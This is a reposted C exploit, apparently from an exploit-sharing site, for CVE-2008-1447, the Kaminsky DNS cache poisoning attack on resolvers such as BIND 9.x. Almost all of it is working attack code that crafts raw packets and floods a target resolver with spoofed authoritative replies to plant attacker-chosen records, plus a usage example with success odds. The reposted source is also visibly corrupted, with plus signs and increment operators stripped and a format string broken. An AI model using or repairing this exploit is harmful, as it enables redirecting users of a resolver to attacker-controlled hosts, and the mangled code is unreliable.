BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)

2023-12-04 0 657

/*

* Exploit for CVE-2008-1447 – Kaminsky DNS Cache Poisoning Attack

*

* Compilation:

* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config –libs` -lm

*

* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)

*

* Author: marc.bevand at rapid7 dot com

*/

#define _BSD_SOURCE

#include <sys/types.h>

#include <err.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <math.h>

#include <time.h>

#include <unistd.h>

#include <dumbnet.h>

#define DNSF_RESPONSE (1<<15)

#define DNSF_AUTHORITATIVE (1<<10)

#define DNSF_REC_DESIRED (1<<8)

#define DNSF_REC_AVAILABLE (1<<7)

#define TYPE_A 0x1

#define TYPE_NS 0x2

#define CLASS_IN 0x1

struct dns_pkt

{

uint16_t txid;

uint16_t flags;

uint16_t nr_quest;

uint16_t nr_ans;

uint16_t nr_auth;

uint16_t nr_add;

} __attribute__ ((__packed__));

void format_domain(u_char *buf, unsigned size, unsigned *len, const char *name)

{

unsigned bufi, i, j;

bufi = i = j = 0;

while (name[i])

{

if (name[i] == \’.\’)

{

if (bufi 1 (i – j) > size)

fprintf(stderr, "format_domain overflow\\n"), exit(1);

buf[bufi ] = i – j;

memcpy(buf bufi, name j, i – j);

bufi = i – j;

j = i 1;

}

i ;

}

if (bufi 1 2 2 > size)

fprintf(stderr, "format_domain overflow\\n"), exit(1);

buf[bufi ] = 0;

*len = bufi;

}

void format_qr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class)

{

uint16_t tmp;

// name

format_domain(buf, size, len, name);

// type

tmp = htons(type);

memcpy(buf *len, &tmp, sizeof (tmp));

*len = sizeof (tmp);

// class

tmp = htons(class);

memcpy(buf *len, &tmp, sizeof (tmp));

*len = sizeof (tmp);

}

void format_rr(u_char *buf, unsigned size, unsigned *len, const char *name, uint16_t type, uint16_t class, uint32_t ttl, const char *data)

{

format_qr(buf, size, len, name, type, class);

// ttl

ttl = htonl(ttl);

memcpy(buf *len, &ttl, sizeof (ttl));

*len = sizeof (ttl);

// data length data

uint16_t dlen;

struct addr addr;

switch (type)

{

case TYPE_A:

dlen = sizeof (addr.addr_ip);

break;

case TYPE_NS:

dlen = strlen(data) 1;

break;

default:

fprintf(stderr, "format_rr: unknown type x", type);

exit(1);

}

dlen = htons(dlen);

memcpy(buf *len, &dlen, sizeof (dlen));

*len = sizeof (dlen);

// data

unsigned len2;

switch (type)

{

case TYPE_A:

if (addr_aton(data, &addr) < 0)

fprintf(stderr, "invalid destination IP: %s", data), exit(1);

memcpy(buf *len, &addr.addr_ip, sizeof (addr.addr_ip));

*len = sizeof (addr.addr_ip);

break;

case TYPE_NS:

format_domain(buf *len, size – *len, &len2, data);

*len = len2;

break;

default:

fprintf(stderr, "format_rr: unknown type x", type);

exit(1);

}

}

void dns_query(u_char *buf, unsigned size, unsigned *len, uint16_t txid, uint16_t flags, const char *name)

{

u_char *out = buf;

struct dns_pkt p = {

.txid = htons(txid),

.flags = htons(flags),

.nr_quest = htons(1),

.nr_ans = htons(0),

.nr_auth = htons(0),

.nr_add = htons(0),

};

u_char qr[256];

unsigned l;

format_qr(qr, sizeof (qr), &l, name, TYPE_A, CLASS_IN);

if (sizeof (p) l > size)

fprintf(stderr, "dns_query overflow"), exit(1);

memcpy(out, &p, sizeof (p));

out = sizeof (p);

memcpy(out, qr, l);

out = l;

*len = sizeof (p) l;

}

void dns_response(u_char *buf, unsigned size, unsigned *len,

uint16_t txid, uint16_t flags,

const char *q_name, const char *q_ip,

const char *domain, const char *auth_name, const char *auth_ip)

{

u_char *out = buf;

u_char *end = buf size;

u_char rec[256];

unsigned l_rec;

uint32_t ttl = 24*3600;

struct dns_pkt p = {

.txid = htons(txid),

.flags = htons(flags),

.nr_quest = htons(1),

.nr_ans = htons(1),

.nr_auth = htons(1),

.nr_add = htons(1),

};

(void)domain;

*len = 0;

if (out *len sizeof (p) > end)

fprintf(stderr, "dns_response overflow"), exit(1);

memcpy(out *len, &p, sizeof (p)); *len = sizeof (p);

// queries

format_qr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN);

if (out *len l_rec > end)

fprintf(stderr, "dns_response overflow"), exit(1);

memcpy(out *len, rec, l_rec); *len = l_rec;

// answers

format_rr(rec, sizeof (rec), &l_rec, q_name, TYPE_A, CLASS_IN,

ttl, q_ip);

if (out *len l_rec > end)

fprintf(stderr, "dns_response overflow"), exit(1);

memcpy(out *len, rec, l_rec); *len = l_rec;

// authoritative nameservers

format_rr(rec, sizeof (rec), &l_rec, domain, TYPE_NS, CLASS_IN,

ttl, auth_name);

if (out *len l_rec > end)

fprintf(stderr, "dns_response overflow"), exit(1);

memcpy(out *len, rec, l_rec); *len = l_rec;

// additional records

format_rr(rec, sizeof (rec), &l_rec, auth_name, TYPE_A, CLASS_IN,

ttl, auth_ip);

if (out *len l_rec > end)

fprintf(stderr, "dns_response overflow"), exit(1);

memcpy(out *len, rec, l_rec); *len = l_rec;

}

unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)

{

unsigned len = 0;

// ip

struct ip_hdr *ip = (struct ip_hdr *)buf;

ip->ip_hl = 5;

ip->ip_v = 4;

ip->ip_tos = 0;

ip->ip_id = rand() & 0xffff;

ip->ip_off = 0;

ip->ip_ttl = IP_TTL_MAX;

ip->ip_p = 17; // udp

ip->ip_sum = 0;

struct addr addr;

if (addr_aton(srcip, &addr) < 0)

fprintf(stderr, "invalid source IP: %s", srcip), exit(1);

ip->ip_src = addr.addr_ip;

if (addr_aton(dstip, &addr) < 0)

fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);

ip->ip_dst = addr.addr_ip;

// udp

struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);

udp->uh_sport = htons(1234);

udp->uh_dport = htons(53);

// dns

dns_query(buf IP_HDR_LEN UDP_HDR_LEN,

(unsigned)(sizeof (buf) – (IP_HDR_LEN UDP_HDR_LEN)), &len,

rand(), DNSF_REC_DESIRED, name);

// udp len

len = UDP_HDR_LEN;

udp->uh_ulen = htons(len);

// ip len & cksum

len = IP_HDR_LEN;

ip->ip_len = htons(len);

ip_checksum(buf, len);

return len;

}

unsigned build_response(u_char *buf, const char *srcip, const char *dstip,

uint16_t port_resolver, uint16_t txid,

const char *q_name, const char *q_ip,

const char *domain, const char *auth_name, const char *auth_ip)

{

unsigned len = 0;

// ip

struct ip_hdr *ip = (struct ip_hdr *)buf;

ip->ip_hl = 5;

ip->ip_v = 4;

ip->ip_tos = 0;

ip->ip_id = rand() & 0xffff;

ip->ip_off = 0;

ip->ip_ttl = IP_TTL_MAX;

ip->ip_p = 17; // udp

ip->ip_sum = 0;

struct addr addr;

if (addr_aton(srcip, &addr) < 0)

fprintf(stderr, "invalid source IP: %s", srcip), exit(1);

ip->ip_src = addr.addr_ip;

if (addr_aton(dstip, &addr) < 0)

fprintf(stderr, "invalid destination IP: %s", dstip), exit(1);

ip->ip_dst = addr.addr_ip;

// udp

struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);

udp->uh_sport = htons(53);

udp->uh_dport = htons(port_resolver);

// dns

dns_response(buf IP_HDR_LEN UDP_HDR_LEN,

(unsigned)(sizeof (buf) – (IP_HDR_LEN UDP_HDR_LEN)), &len,

txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,

q_name, q_ip, domain, auth_name, auth_ip);

// udp len

len = UDP_HDR_LEN;

udp->uh_ulen = htons(len);

// ip len & cksum

len = IP_HDR_LEN;

ip->ip_len = htons(len);

ip_checksum(buf, len);

return len;

}

void usage(char *name)

{

fprintf(stderr, "Usage: %s <ip-querier> <ip-resolver> <ip-authoritative> "

"<port-resolver> <subhost> <domain> <any-ip> <attempts> <repl-per-attempt>\\n"

" <ip-querier> Source IP used when sending queries for random hostnames\\n"

" (typically your IP)\\n"

" <ip-resolver> Target DNS resolver to attack\\n"

" <ip-authoritative> One of the authoritative DNS servers for <domain>\\n"

" <port-resolver> Source port used by the resolver when forwarding queries\\n"

" <subhost> Poison the cache with the A record <subhost>.<domain>\\n"

" <domain> Domain name, see <subhost>.\\n"

" <any-ip> IP of your choice to be associated to <subhost>.<domain>\\n"

" <attempts> Number of poisoning attemps, more attempts increase the\\n"

" chance of successful poisoning, but also the attack time\\n"

" <repl-per-attempt> Number of spoofed replies to send per attempt, more replies\\n"

" increase the chance of successful poisoning but, but also\\n"

" the rate of packet loss\\n"

"Example:\\n"

" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192 16\\n"

"This should cause a pwned.example.com A record resolving to 1.1.1.1 to appear\\n"

"in r.r.r.r\’s cache. The chance of successfully poisoning the resolver with\\n"

"this example (8192 attempts and 16 replies/attempt) is 86%%\\n"

"(1-(1-16/65536)**8192). This example also requires a bandwidth of about\\n"

"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *\\n"

"8 bits/byte) and takes about 80 secs to complete (8192 attempts /\\n"

"100 attempts/sec).\\n",

name, name);

}

int main(int argc, char **argv)

{

if (argc != 10)

usage(argv[0]), exit(1);

const char *querier = argv[1];

const char *ip_resolver = argv[2];

const char *ip_authoritative = argv[3];

uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);

const char *subhost = argv[5];

const char *domain = argv[6];

const char *anyip = argv[7];

uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);

uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);

if (domain[strlen(domain) – 1 ] != \’.\’)

fprintf(stderr, "domain must end with dot(.): %s\\n", domain), exit(1);

printf("Chance of success: 1-(1-%d/65536)**%d = %.2f\\n", replies, attempts, 1 – pow((1 – replies / 65536.), attempts));

srand(time(NULL));

int unique = rand() (rand() << 16);

u_char buf[IP_LEN_MAX];

unsigned len;

char name[256];

char ns[256];

ip_t *iph;

if ((iph = ip_open()) == NULL)

err(1, "ip_open");

int cnt = 0;

while (cnt < attempts)

{

// send a query for a random hostname

snprintf(name, sizeof (name), "xx.%s", unique, cnt, domain);

len = build_query(buf, querier, ip_resolver, name);

if (ip_send(iph, buf, len) != len)

err(1, "ip_send");

// give the resolver enough time to forward the query and be in a state

// where it waits for answers; sleeping 10ms here limits the number of

// attempts to 100 per sec

usleep(10000);

// send spoofed replies, each reply contains:

// – 1 query: query for the "random hostname"

// – 1 answer: "random hostname" A 1.1.1.1

// – 1 authoritative nameserver: <domain> NS <subhost>.<domain>

// – 1 additional record: <subhost>.<domain> A <any-ip>

snprintf(ns, sizeof (ns), "%s.%s", subhost, domain);

unsigned r;

for (r = 0; r < replies; r )

{

// use a txid that is just \’r\’: 0..(replies-1)

len = build_response(buf, ip_authoritative, ip_resolver,

port_resolver, r, name, "1.1.1.1", domain, ns, anyip);

if (ip_send(iph, buf, len) != len)

err(1, "ip_send");

}

cnt ;

}

ip_close(iph);

return 0;

}

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 Exploit BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c) https://www.u-9.cn/security/exploit/72055.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务